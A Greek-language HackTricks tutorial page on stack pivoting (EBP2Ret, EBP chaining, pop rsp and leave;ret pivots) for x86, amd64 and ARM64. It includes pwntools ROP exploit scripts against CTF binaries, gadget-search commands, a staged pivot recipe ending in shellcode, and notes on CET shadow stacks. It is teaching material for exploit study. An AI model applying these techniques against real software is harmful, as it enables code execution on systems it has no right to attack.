Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 13 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το Base Pointer (EBP/RBP) για να αλυσσοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του frame pointer και της ακολουθίας εντολών leave; ret
.
Ως υπενθύμιση, στο x86/x86-64 leave
είναι ισοδύναμο με:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
Και καθώς το αποθηκευμένο EBP/RBP είναι στη στοίβα πριν από το αποθηκευμένο EIP/RIP, είναι δυνατόν να το ελέγξετε ελέγχοντας τη στοίβα.
Σημειώσεις
- Σε 64-bit, αντικαταστήστε EBP→RBP και ESP→RSP. Η σημασιολογία είναι η ίδια.
- Ορισμένοι μεταγλωττιστές παραλείπουν τον δείκτη πλαισίου (βλ. “EBP might not be used”). Σε αυτή την περίπτωση, το
leave
μπορεί να μην εμφανίζεται και αυτή η τεχνική δεν θα λειτουργήσει.
EBP2Ret
Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να αλλάξετε το αποθηκευμένο EBP/RBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το EIP/RIP. Εκμεταλλεύεται τη συμπεριφορά του επιλόγου της συνάρτησης.
Εάν, κατά την εκτέλεση του fvuln
, καταφέρετε να εισάγετε ένα ψεύτικο EBP στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode/ROP αλυσίδας σας (συν 8 bytes σε amd64 / 4 bytes σε x86 για να ληφθεί υπόψη το pop
), μπορείτε έμμεσα να ελέγξετε το RIP. Καθώς η συνάρτηση επιστρέφει, το leave
ρυθμίζει το RSP στην κατασκευασμένη τοποθεσία και το επόμενο pop rbp
μειώνει το RSP, κάνοντάς το να δείχνει σε μια διεύθυνση που αποθηκεύεται από τον επιτιθέμενο εκεί. Στη συνέχεια, το ret
θα χρησιμοποιήσει αυτή τη διεύθυνση.
Σημειώστε πώς πρέπει να γνωρίζετε 2 διευθύνσεις: τη διεύθυνση στην οποία θα πάει το ESP/RSP και την τιμή που αποθηκεύεται σε αυτή τη διεύθυνση που θα καταναλώσει το ret
.
Κατασκευή Εκμετάλλευσης
Πρώτα πρέπει να γνωρίζετε μια διεύθυνση όπου μπορείτε να γράψετε αυθαίρετα δεδομένα/διευθύνσεις. Το RSP θα δείχνει εδώ και θα καταναλώσει το πρώτο ret
.
Στη συνέχεια, πρέπει να επιλέξετε τη διεύθυνση που χρησιμοποιείται από το ret
που θα μεταφέρει την εκτέλεση. Μπορείτε να χρησιμοποιήσετε:
- Μια έγκυρη ONE_GADGET διεύθυνση.
- Τη διεύθυνση του
system()
ακολουθούμενη από την κατάλληλη επιστροφή και τα επιχειρήματα (σε x86:ret
στόχος =&system
, στη συνέχεια 4 άχρηστα bytes, στη συνέχεια&"/bin/sh"
). - Τη διεύθυνση ενός
jmp esp;
gadget (ret2esp) ακολουθούμενη από inline shellcode. - Μια ROP αλυσίδα τοποθετημένη σε εγγράψιμη μνήμη.
Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή, πρέπει να υπάρχει χώρος για το pop ebp/rbp
από το leave
(8B σε amd64, 4B σε x86). Μπορείτε να εκμεταλλευτείτε αυτά τα bytes για να ορίσετε ένα δεύτερο ψεύτικο EBP και να διατηρήσετε τον έλεγχο μετά την επιστροφή της πρώτης κλήσης.
Εκμετάλλευση Off-By-One
Υπάρχει μια παραλλαγή που χρησιμοποιείται όταν μπορείτε μόνο να τροποποιήσετε το λιγότερο σημαντικό byte του αποθηκευμένου EBP/RBP. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα μεταβείτε με ret
πρέπει να μοιράζεται τα πρώτα τρία/πέντε bytes με το αρχικό EBP/RBP ώστε μια 1-byte υπερχείλιση να μπορεί να την ανακατευθύνει. Συνήθως το χαμηλό byte (offset 0x00) αυξάνεται για να μεταπηδήσει όσο το δυνατόν πιο μακριά μέσα σε μια κοντινή σελίδα/ευθυγραμμισμένη περιοχή.
Είναι επίσης κοινό να χρησιμοποιείται μια RET sled στη στοίβα και να τοποθετείται η πραγματική ROP αλυσίδα στο τέλος για να είναι πιο πιθανό ότι το νέο RSP δείχνει μέσα στη sled και η τελική ROP αλυσίδα εκτελείται.
EBP Chaining
Τοποθετώντας μια ελεγχόμενη διεύθυνση στη θέση του αποθηκευμένου EBP
της στοίβας και ένα gadget leave; ret
στο EIP/RIP
, είναι δυνατόν να μετακινήσετε το ESP/RSP
σε μια διεύθυνση που ελέγχεται από τον επιτιθέμενο.
Τώρα το RSP
είναι ελεγχόμενο και η επόμενη εντολή είναι ret
. Τοποθετήστε στη μνήμη που ελέγχετε κάτι όπως:
&(next fake EBP)
-> Φορτωμένο απόpop ebp/rbp
από τοleave
.&system()
-> Καλείται από τοret
.&(leave;ret)
-> Μετά την ολοκλήρωση τουsystem
, μετακινεί το RSP στο επόμενο ψεύτικο EBP και συνεχίζει.&("/bin/sh")
-> Επιχείρημα για τοsystem
.
Με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος.
Αυτό είναι σαν ένα ret2lib, αλλά πιο περίπλοκο και χρήσιμο μόνο σε ακραίες περιπτώσεις.
Επιπλέον, εδώ έχετε ένα παράδειγμα πρόκλησης που χρησιμοποιεί αυτή την τεχνική με μια στοίβα διαρροής για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: Το System V ABI απαιτεί ευθυγράμμιση 16-byte στο stack στα σημεία κλήσης. Αν η αλυσίδα σας καλεί συναρτήσεις όπως
system
, προσθέστε ένα gadget ευθυγράμμισης (π.χ.,ret
, ήsub rsp, 8 ; ret
) πριν από την κλήση για να διατηρήσετε την ευθυγράμμιση και να αποφύγετε τις καταρρεύσειςmovaps
.
EBP μπορεί να μην χρησιμοποιείται
Όπως εξηγείται σε αυτή την ανάρτηση, αν ένα δυαδικό αρχείο έχει μεταγλωττιστεί με κάποιες βελτιστοποιήσεις ή με παράλειψη του frame-pointer, το EBP/RBP ποτέ δεν ελέγχει το ESP/RSP. Επομένως, οποιαδήποτε εκμετάλλευση που λειτουργεί ελέγχοντας το EBP/RBP θα αποτύχει επειδή ο πρόλογος/επίλογος δεν αποκαθιστά από τον δείκτη πλαισίου.
- Όχι βελτιστοποιημένο / χρησιμοποιείται δείκτης πλαισίου:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Βελτιστοποιημένο / δείκτης πλαισίου παραλειπόμενος:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
On amd64 θα δείτε συχνά pop rbp ; ret
αντί για leave ; ret
, αλλά αν ο δείκτης πλαισίου παραλειφθεί εντελώς, τότε δεν υπάρχει επακόλουθο βασισμένο σε rbp
για να γίνει pivot.
Άλλοι τρόποι ελέγχου του RSP
pop rsp
gadget
Σε αυτή τη σελίδα μπορείτε να βρείτε ένα παράδειγμα που χρησιμοποιεί αυτή την τεχνική. Για αυτή την πρόκληση ήταν απαραίτητο να καλέσετε μια συνάρτηση με 2 συγκεκριμένα επιχειρήματα, και υπήρχε ένα pop rsp
gadget και υπάρχει μια leak από τη στοίβα:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Δείτε την τεχνική ret2esp εδώ:
Γρήγορη εύρεση gadgets pivot
Χρησιμοποιήστε τον αγαπημένο σας ανιχνευτή gadgets για να αναζητήσετε κλασικές πρωτογενείς pivot:
leave ; ret
σε συναρτήσεις ή σε βιβλιοθήκεςpop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(ήadd esp, <imm> ; ret
σε x86)
Παραδείγματα:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Κλασικό μοτίβο σταδιοδρομίας pivot
Μια ισχυρή στρατηγική pivot που χρησιμοποιείται σε πολλές CTFs/exploits:
- Χρησιμοποιήστε μια μικρή αρχική υπερχείλιση για να καλέσετε
read
/recv
σε μια μεγάλη εγγράψιμη περιοχή (π.χ.,.bss
, heap ή χαρτογραφημένη RW μνήμη) και τοποθετήστε εκεί μια πλήρη αλυσίδα ROP. - Επιστρέψτε σε ένα gadget pivot (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) για να μετακινήσετε το RSP σε αυτήν την περιοχή. - Συνεχίστε με την σταδιοδρομημένη αλυσίδα (π.χ., leak libc, καλέστε
mprotect
, στη συνέχειαread
shellcode, στη συνέχεια πηδήξτε σε αυτό).
Σύγχρονες μετρήσεις που σπάνε το stack pivoting (CET/Shadow Stack)
Οι σύγχρονοι επεξεργαστές x86 και τα λειτουργικά συστήματα εφαρμόζουν ολοένα και περισσότερο το CET Shadow Stack (SHSTK). Με το SHSTK ενεργοποιημένο, το ret
συγκρίνει τη διεύθυνση επιστροφής στη φυσιολογική στοίβα με μια προστατευμένη από υλικό σκιά στοίβα; οποιαδήποτε ασυμφωνία προκαλεί σφάλμα Control-Protection και τερματίζει τη διαδικασία. Επομένως, τεχνικές όπως οι EBP2Ret/leave;ret-based pivots θα καταρρεύσουν μόλις εκτελεστεί το πρώτο ret
από μια pivoted stack.
- Για υπόβαθρο και πιο λεπτομερείς πληροφορίες δείτε:
- Γρήγοροι έλεγχοι σε Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Σημειώσεις για εργαστήρια/CTF:
-
Ορισμένες σύγχρονες διανομές ενεργοποιούν το SHSTK για εκτελέσιμα με δυνατότητα CET όταν υπάρχει υποστήριξη υλικού και glibc. Για ελεγχόμενη δοκιμή σε VMs, το SHSTK μπορεί να απενεργοποιηθεί σε επίπεδο συστήματος μέσω της παραμέτρου εκκίνησης του πυρήνα
nousershstk
, ή να ενεργοποιηθεί επιλεκτικά μέσω ρυθμίσεων glibc κατά την εκκίνηση (βλ. αναφορές). Μην απενεργοποιείτε τις μετρήσεις σε παραγωγικούς στόχους. -
Οι τεχνικές που βασίζονται σε JOP/COOP ή SROP μπορεί να είναι ακόμα βιώσιμες σε ορισμένους στόχους, αλλά το SHSTK ειδικά σπάει τους
ret
-βασισμένους άξονες. -
Σημείωση για Windows: Τα Windows 10+ εκθέτουν τη λειτουργία χρήστη και τα Windows 11 προσθέτουν την προστασία στοίβας "Hardware-enforced Stack Protection" που βασίζεται σε shadow stacks. Οι διαδικασίες συμβατές με CET αποτρέπουν την περιστροφή της στοίβας/ROP στο
ret
; οι προγραμματιστές επιλέγουν να συμμετάσχουν μέσω των πολιτικών CETCOMPAT και σχετικών πολιτικών (βλ. αναφορά).
ARM64
Στο ARM64, οι προλόγοι και οι επιλόγοι των συναρτήσεων δεν αποθηκεύουν και δεν ανακτούν το καταχωρητή SP στη στοίβα. Επιπλέον, η εντολή RET
δεν επιστρέφει στη διεύθυνση που υποδεικνύει το SP, αλλά στη διεύθυνση μέσα στο x30
.
Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο δεν θα μπορείτε να ελέγξετε τον καταχωρητή SP αντικαθιστώντας κάποια δεδομένα μέσα στη στοίβα. Και ακόμη και αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να ελέγξετε τον καταχωρητή x30
.
- πρόλογος
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- επίλογος
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με την περιστροφή της στοίβας στο ARM64 θα ήταν να μπορείτε να ελέγξετε το SP
(ελέγχοντας κάποιον καταχωρητή του οποίου η τιμή μεταφέρεται στο SP
ή επειδή για κάποιο λόγο το SP
παίρνει τη διεύθυνσή του από τη στοίβα και έχουμε μια υπερχείλιση) και στη συνέχεια να εκμεταλλευτείτε τον επίλογο για να φορτώσετε τον καταχωρητή x30
από έναν ελεγχόμενο SP
και να RET
σε αυτόν.
Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδύναμη του Ret2esp στο ARM64:
Αναφορές
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. Το πρόγραμμα παρέχει μια διαρροή για τη στοίβα ή το pie και μια WWW ενός qword. Πρώτα πάρτε τη διαρροή της στοίβας και χρησιμοποιήστε την WWW για να επιστρέψετε και να πάρετε τη διαρροή του pie. Στη συνέχεια, χρησιμοποιήστε την WWW για να δημιουργήσετε έναν αιώνιο βρόχο εκμεταλλευόμενοι τις καταχωρήσεις
.fini_array
+ καλώντας__libc_csu_fini
(περισσότερες πληροφορίες εδώ). Εκμεταλλευόμενοι αυτήν την "αιώνια" εγγραφή, γράφεται μια αλυσίδα ROP στο .bss και τελικά καλείται περιστρέφοντας με RBP. - Τεκμηρίωση πυρήνα Linux: Control-flow Enforcement Technology (CET) Shadow Stack — λεπτομέρειες σχετικά με το SHSTK,
nousershstk
,/proc/$PID/status
flags, και ενεργοποίηση μέσωarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.